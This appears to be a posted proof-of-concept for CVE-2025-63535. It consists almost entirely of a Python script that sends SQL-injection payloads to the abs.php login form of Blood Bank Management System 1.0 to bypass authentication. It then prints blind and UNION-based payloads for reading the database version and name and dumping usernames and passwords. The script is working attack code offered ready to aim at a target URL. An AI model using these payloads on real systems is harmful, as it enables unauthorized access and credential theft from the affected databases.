CVE-2025-63535 Blood Bank Management System SQL注入漏洞

# CVE-2025-63535 SQL Injection PoC for Blood Bank Management System 1.0 # Authentication Bypass via SQL Injection in abs.php import requests import sys target_url = "http://target.com/abs.php" # Modify to target URL # SQL Injection Payloads for Authentication Bypass payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "' OR '1'='1' #", "' OR '1'='1'/*", ] def test_sql_injection(): print(f"[*] Testing CVE-2025-63535 SQL Injection on {target_url}") print("[*] Target: Blood Bank Management System 1.0 - abs.php") for payload in payloads: print(f"\n[+] Testing payload: {payload}") # Login form data (adjust field names based on actual application) data = { "username": payload, "password": payload, "submit": "Login" } try: response = requests.post(target_url, data=data, timeout=10, verify=False) # Check for successful login indicators if any(indicator in response.text.lower() for indicator in ["dashboard", "admin", "blood", "logout", "welcome"]): print(f"[!] Potential authentication bypass with payload: {payload}") print("[!] Verify manually for successful login") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No obvious authentication bypass detected") print("[*] Manual testing recommended with different payloads") return False def extract_data(): # Boolean-based blind SQL injection for data extraction print("\n[*] Extracting database information via blind SQLi...") # Database version detection version_payload = "admin' AND (SELECT SUBSTRING(@@version,1,1))='5' --" print(f"[+] Testing database version: {version_payload}") # Database name extraction dbname_payload = "admin' AND (SELECT LENGTH(DATABASE()))>0 --" print(f"[+] Extracting database name: {dbname_payload}") # Users table extraction users_payload = "admin' UNION SELECT NULL,username,password FROM users --" print(f"[+] Extracting users: {users_payload}") if __name__ == "__main__": test_sql_injection() # Uncomment to test data extraction # extract_data()